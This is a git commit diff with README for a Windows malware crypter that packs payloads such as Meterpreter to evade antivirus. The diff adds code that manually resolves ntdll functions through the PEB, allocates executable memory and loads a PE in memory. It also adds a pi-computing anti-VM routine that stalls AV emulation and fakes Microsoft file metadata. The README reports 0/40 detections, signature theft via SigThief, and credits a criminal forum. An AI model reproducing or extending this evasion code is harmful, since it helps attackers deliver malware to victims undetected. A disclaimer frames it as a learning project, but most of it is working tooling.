add: indirect syscalls, better anti vm (computing pi to waste AV time)
This commit is contained in:
@@ -1,2 +1,2 @@
|
||||
#pragma once
|
||||
#define KEY "pqihzifvqzidbzq"
|
||||
#define KEY "ougoqugduzqd"
|
||||
107
Crypter/main.cpp
107
Crypter/main.cpp
@@ -3,14 +3,18 @@
|
||||
#include <iostream>
|
||||
#include <fstream>
|
||||
#include <vector>
|
||||
#include <wchar.h>
|
||||
#include <regex>
|
||||
#include <winternl.h>
|
||||
#include "sample.h"
|
||||
#include "pi.h"
|
||||
#include "config.h"
|
||||
|
||||
HMODULE hModule2;
|
||||
LPVOID lpReserved2;
|
||||
|
||||
#define NEW_ADDRESS 0x00
|
||||
#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
|
||||
|
||||
// Define a macro for the debug printf
|
||||
#ifdef _DEBUG
|
||||
@@ -50,6 +54,66 @@ void decrypt(const char* key, int offset = 0, int limit = -1) {
|
||||
//END
|
||||
}
|
||||
|
||||
void *my_GetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
|
||||
//START
|
||||
if (hModule == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)hModule;
|
||||
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
IMAGE_NT_HEADERS* ntHeader = (IMAGE_NT_HEADERS*)((BYTE*)hModule + dosHeader->e_lfanew);
|
||||
if (ntHeader->Signature != IMAGE_NT_SIGNATURE) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
IMAGE_EXPORT_DIRECTORY* exportDir = (IMAGE_EXPORT_DIRECTORY*)((BYTE*)hModule + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||
DWORD* nameRVAs = (DWORD*)((BYTE*)hModule + exportDir->AddressOfNames);
|
||||
DWORD* addrRVAs = (DWORD*)((BYTE*)hModule + exportDir->AddressOfFunctions);
|
||||
WORD* ordinals = (WORD*)((BYTE*)hModule + exportDir->AddressOfNameOrdinals);
|
||||
|
||||
for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {
|
||||
const char* functionName = (const char*)((BYTE*)hModule + nameRVAs[i]);
|
||||
if (strcmp(functionName, lpProcName) == 0) {
|
||||
DWORD funcRVA = addrRVAs[ordinals[i]];
|
||||
void* funcPtr = (void*)((BYTE*)hModule + funcRVA);
|
||||
return funcPtr;
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
//END
|
||||
}
|
||||
|
||||
typedef NTSTATUS (NTAPI *NtAllocateVirtualMemoryPtr)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
|
||||
typedef NTSTATUS (NTAPI *LdrLoadDllPtr)(PWCHAR, ULONG, PUNICODE_STRING, PHANDLE);
|
||||
typedef NTSTATUS (NTAPI *RtlInitUnicodeStringPtr)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
|
||||
|
||||
|
||||
void* get_ntfunction(const char* func) {
|
||||
//START
|
||||
#ifdef _M_X64
|
||||
PTEB tebPtr = reinterpret_cast<PTEB>(__readgsqword(reinterpret_cast<DWORD_PTR>(&static_cast<NT_TIB*>(nullptr)->Self)));
|
||||
#else
|
||||
PTEB tebPtr = reinterpret_cast<PTEB>(__readfsdword(reinterpret_cast<DWORD_PTR>(&static_cast<NT_TIB*>(nullptr)->Self)));
|
||||
#endif
|
||||
|
||||
PPEB_LDR_DATA ldrData = tebPtr->ProcessEnvironmentBlock->Ldr;
|
||||
PLIST_ENTRY moduleList = &(ldrData->InMemoryOrderModuleList);
|
||||
HMODULE hntdll = 0;
|
||||
for (PLIST_ENTRY entry = moduleList->Flink; entry != moduleList; entry = entry->Flink) {
|
||||
LDR_DATA_TABLE_ENTRY* module = CONTAINING_RECORD(entry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
|
||||
if (wcsstr(module->FullDllName.Buffer, L"ntdll.dll") != nullptr) {
|
||||
hntdll = reinterpret_cast<HMODULE>(module->DllBase);
|
||||
break;
|
||||
}
|
||||
}
|
||||
return my_GetProcAddress(hntdll, func);
|
||||
//END
|
||||
}
|
||||
|
||||
// This function will load a DLL from a buffer into the current process.
|
||||
// The DLL is expected to be in the PE format.
|
||||
//
|
||||
@@ -82,8 +146,11 @@ HMODULE RunPE(const void* dll_buffer, size_t dll_size, DWORD newBase)
|
||||
|
||||
const size_t image_size = nt_headers->OptionalHeader.SizeOfImage;
|
||||
void* image_base = (LPVOID)newBase;
|
||||
image_base = VirtualAlloc(image_base, image_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
if (image_base == NULL) {
|
||||
ULONG allocation_type = MEM_COMMIT | MEM_RESERVE;
|
||||
ULONG protect = PAGE_EXECUTE_READWRITE;
|
||||
NtAllocateVirtualMemoryPtr nta = (NtAllocateVirtualMemoryPtr)get_ntfunction("NtAllocateVirtualMemory");
|
||||
NTSTATUS s = nta(NtCurrentProcess(), &image_base, 0, (PSIZE_T)&image_size, allocation_type, protect);
|
||||
if (image_base == NULL || s != 0) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
@@ -109,10 +176,21 @@ HMODULE RunPE(const void* dll_buffer, size_t dll_size, DWORD newBase)
|
||||
const IMAGE_IMPORT_DESCRIPTOR* import_directory = reinterpret_cast<const IMAGE_IMPORT_DESCRIPTOR*>(static_cast<const char*>(image_base) + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
|
||||
DEBUG_PRINTF("[+] Fixing imports\n");
|
||||
|
||||
RtlInitUnicodeStringPtr r = (RtlInitUnicodeStringPtr)get_ntfunction("RtlInitUnicodeString");
|
||||
LdrLoadDllPtr ldr = (LdrLoadDllPtr)get_ntfunction("LdrLoadDll");
|
||||
while (import_directory->Name != 0) {
|
||||
const char* import_dll_name = static_cast<const char*>(image_base) + import_directory->Name;
|
||||
|
||||
HMODULE import_dll = LoadLibraryA(import_dll_name);
|
||||
HMODULE import_dll = 0; // LoadLibraryA(import_dll_name);
|
||||
int len = MultiByteToWideChar(CP_UTF8, 0, import_dll_name, -1, nullptr, 0);
|
||||
wchar_t* wide = new wchar_t[len];
|
||||
MultiByteToWideChar(CP_UTF8, 0, import_dll_name, -1, wide, len);
|
||||
UNICODE_STRING dll;
|
||||
|
||||
r(&dll, wide);
|
||||
ldr(0, 0, &dll, (PVOID *)&import_dll);
|
||||
delete[] wide;
|
||||
|
||||
if (import_dll == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
@@ -123,7 +201,7 @@ HMODULE RunPE(const void* dll_buffer, size_t dll_size, DWORD newBase)
|
||||
if (IMAGE_SNAP_BY_ORDINAL(import_thunk_data->u1.Ordinal)) {
|
||||
DWORD ordinal = IMAGE_ORDINAL(import_thunk_data->u1.Ordinal);
|
||||
|
||||
void* import_address = GetProcAddress(import_dll, reinterpret_cast<LPCSTR>(ordinal));
|
||||
void* import_address = my_GetProcAddress(import_dll, reinterpret_cast<LPCSTR>(ordinal));
|
||||
|
||||
if (import_address != nullptr) {
|
||||
*reinterpret_cast<void**>(import_thunk_data) = import_address;
|
||||
@@ -132,7 +210,7 @@ HMODULE RunPE(const void* dll_buffer, size_t dll_size, DWORD newBase)
|
||||
else {
|
||||
const IMAGE_IMPORT_BY_NAME* import_by_name = reinterpret_cast<const IMAGE_IMPORT_BY_NAME*>(static_cast<const char*>(image_base) + import_thunk_data->u1.AddressOfData);
|
||||
|
||||
void* import_address = GetProcAddress(import_dll, reinterpret_cast<const char*>(import_by_name->Name));
|
||||
void* import_address = my_GetProcAddress(import_dll, reinterpret_cast<const char*>(import_by_name->Name));
|
||||
|
||||
if (import_address != nullptr) {
|
||||
*reinterpret_cast<void**>(import_thunk_data) = import_address;
|
||||
@@ -207,24 +285,6 @@ void allo() {
|
||||
//END
|
||||
}
|
||||
|
||||
LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) {
|
||||
//START
|
||||
switch (uMsg) {
|
||||
case WM_DESTROY:
|
||||
PostQuitMessage(0);
|
||||
return 0;
|
||||
case WM_PAINT: {
|
||||
PAINTSTRUCT ps;
|
||||
HDC hdc = BeginPaint(hwnd, &ps);
|
||||
FillRect(hdc, &ps.rcPaint, (HBRUSH) (COLOR_WINDOW + 1));
|
||||
EndPaint(hwnd, &ps);
|
||||
return 0;
|
||||
} default:
|
||||
return DefWindowProc(hwnd, uMsg, wParam, lParam);
|
||||
}
|
||||
//END
|
||||
}
|
||||
|
||||
#ifdef _DEBUG
|
||||
int main(void)
|
||||
#else
|
||||
@@ -250,6 +310,7 @@ int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCm
|
||||
DWORD numProcessorCores = systemInfo.dwNumberOfProcessors;
|
||||
if (numProcessorCores < 2 || (int)totalPhysicalMemoryGB < 4) {
|
||||
MessageBoxA(NULL, "uwu", "failed", 0);
|
||||
spigot();
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
@@ -68,12 +68,12 @@ BEGIN
|
||||
BLOCK "040c04b0"
|
||||
BEGIN
|
||||
VALUE "CompanyName", "Microsoft"
|
||||
VALUE "FileDescription", "mwqaxnynrtvjaafmtwew"
|
||||
VALUE "FileDescription", "cixctkirmfubayfzkbog"
|
||||
VALUE "FileVersion", "1.0.0.1"
|
||||
VALUE "InternalName", "hoflypx.exe"
|
||||
VALUE "InternalName", "bcjphkt.exe"
|
||||
VALUE "LegalCopyright", "Copyright (C) 2023"
|
||||
VALUE "OriginalFilename", "ckhvspq.exe"
|
||||
VALUE "ProductName", "rrrxbyl.exe"
|
||||
VALUE "OriginalFilename", "nybxftw.exe"
|
||||
VALUE "ProductName", "txwfqte.exe"
|
||||
VALUE "ProductVersion", "1.0.0.1"
|
||||
END
|
||||
END
|
||||
|
||||
@@ -171,9 +171,11 @@
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.cpp" />
|
||||
<ClCompile Include="pi.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="config.h" />
|
||||
<ClInclude Include="pi.h" />
|
||||
<ClInclude Include="resource.h" />
|
||||
<ClInclude Include="sample.h" />
|
||||
</ItemGroup>
|
||||
|
||||
@@ -18,6 +18,9 @@
|
||||
<ClCompile Include="main.cpp">
|
||||
<Filter>Fichiers sources</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="pi.cpp">
|
||||
<Filter>Fichiers sources</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="config.h">
|
||||
@@ -29,6 +32,9 @@
|
||||
<ClInclude Include="sample.h">
|
||||
<Filter>Fichiers d%27en-tête</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="pi.h">
|
||||
<Filter>Fichiers d%27en-tête</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="patate-crypter.rc">
|
||||
|
||||
53
Crypter/pi.cpp
Normal file
53
Crypter/pi.cpp
Normal file
@@ -0,0 +1,53 @@
|
||||
#include "pi.h"
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
void spigot() { //https://craftofcoding.wordpress.com/tag/spigot-algorithm/
|
||||
int i, j, k, q, x;
|
||||
int len, nines=0, predigit=0;
|
||||
int N=20000; //you can actually go way up but it makes the calculation slow
|
||||
|
||||
len = (10*N/3)+1;
|
||||
int* a = (int *)malloc(len * sizeof(int));
|
||||
if (a == 0) {
|
||||
printf("Error allocating memory.\n");
|
||||
return;
|
||||
}
|
||||
|
||||
// Initialize A to (2,2,2,2,2,...,2)
|
||||
for (i=0; i<len; i=i+1)
|
||||
a[i] = 2;
|
||||
|
||||
// Repeat n times
|
||||
for (j=1; j<=N; j=j+1) {
|
||||
q = 0;
|
||||
for (i=len; i>0; i=i-1) {
|
||||
x = 10 * a[i-1] + q*i;
|
||||
a[i-1] = x % (2*i-1);
|
||||
q = x / (2*i-1);
|
||||
}
|
||||
a[0] = q % 10;
|
||||
q = q / 10;
|
||||
if (q == 9)
|
||||
nines = nines + 1;
|
||||
else if (q == 10) {
|
||||
printf("%d", predigit+1);
|
||||
for (k=0; k<nines; k=k+1)
|
||||
printf("%d",0);
|
||||
predigit = 0;
|
||||
nines = 0;
|
||||
}
|
||||
else {
|
||||
printf("%d", predigit);
|
||||
predigit = q;
|
||||
if (nines != 0) {
|
||||
for (k=0; k<nines; k=k+1)
|
||||
printf("%d",9);
|
||||
nines = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
printf("%d\n", predigit);
|
||||
|
||||
free(a);
|
||||
}
|
||||
3
Crypter/pi.h
Normal file
3
Crypter/pi.h
Normal file
@@ -0,0 +1,3 @@
|
||||
#pragma once
|
||||
|
||||
void spigot();
|
||||
17
README.md
17
README.md
@@ -2,17 +2,18 @@
|
||||
I am not responsible for any damage caused by this program. It was made as a learning experiment to gather more knowledge about anti virus.<br>
|
||||
The project structure is **very** messy because i wasn't planning on releasing it, sorry i guess.<br>
|
||||
I will not provide any support for running the program, it is only made for people interested in cyber security to learn more about how AV work.
|
||||
patate crypter officially supports 32bit and 64bit DLLs and PEs.<br>
|
||||
Note that the final payload does not use any Windows API, indirect syscalls are used instead.<br>
|
||||
|
||||
# Limitations
|
||||
patate crypter officially supports 32bit and 64bit DLLs and PEs.<br>
|
||||
There is an issue where the reallocations would fail for specific payloads, TOFIX.<br>
|
||||
There is code in the `metadata.py` file to generate random BMP images in the metadata of the PE but it makes the entropy go way to high (from 6.4 to 7.4) (see [link](https://practicalsecurityanalytics.com/file-entropy/)).
|
||||
|
||||
# Detection rate
|
||||
There is currently 0/40 detections for a crypted meterperter :
|
||||
- [original meterpreter](https://www.kleenscan.com/scan_result/6ea55d54a947393082f524215c28185ef90a7ec9cb9c50f25c555715b61b0e3e)
|
||||
- [crypted 32 bit](https://www.kleenscan.com/scan_result/697277eeddc7cf01ffc81430e3c549488e3a96970edb9ec8d96860d9135eac54)
|
||||
- [crypted 64 bit](https://www.kleenscan.com/scan_result/9c0ae91e19425ff4c2d8120f1cb787f0480c7780faa6e1e57517b2aea831e272)
|
||||
- [crypted 32 bit](https://www.kleenscan.com/scan_result/0b867e81b96a21679161b2437fcf60233663fc6e95f0fd8e62fbdb3a8aad218c)
|
||||
- [crypted 64 bit](https://www.kleenscan.com/scan_result/50eeb46c0ec822a1889cb8f195001ed56639d5aca0a8ef0557eca65f7c76e03d)
|
||||
|
||||
# How does it work ?
|
||||
The crypter (compile time) works by :
|
||||
@@ -21,6 +22,7 @@ The crypter (compile time) works by :
|
||||
- copying a Windows file signature on the generated PE (using [SigThief](https://github.com/secretsquirrel/SigThief))
|
||||
|
||||
Then the stub (at runtime) :
|
||||
- if a VM is detected, proceeds to compute 20k digits of pi before exiting
|
||||
- decrypts the sections of the payload one by one and encrypts them back after copying them into the memory (bypasses ESET AV emulation)
|
||||
- rebases the payload to its new base address
|
||||
- calls (Dll)main
|
||||
@@ -36,3 +38,12 @@ With obfuscation (only showing a few nodes, the original graph was more than 40K
|
||||
cd Builder
|
||||
python gui.py
|
||||
```
|
||||
|
||||
# Credits
|
||||
- [Alcatraz](https://github.com/weak1337/Alcatraz)
|
||||
- [SigThief](https://github.com/secretsquirrel/SigThief)
|
||||
- [What is file entropy](https://practicalsecurityanalytics.com/file-entropy/)
|
||||
- [Direct syscalls vs indirect syscalls](https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls)
|
||||
- some random gui on [xss](xss.is) who released a big article explaining the basics of cryptors. //TODO, find link
|
||||
- [vx-underground's Blackmass Volume 2 (A Peek Into Antivirus Memory Scanning)](https://samples.vx-underground.org/Papers/Other/VXUG%20Zines/2022-11-13%20-%20Black%20Mass%20Halloween%202022.pdf)
|
||||
- [pi spigot algorithm](https://craftofcoding.wordpress.com/tag/spigot-algorithm/)
|
||||
Reference in New Issue
Block a user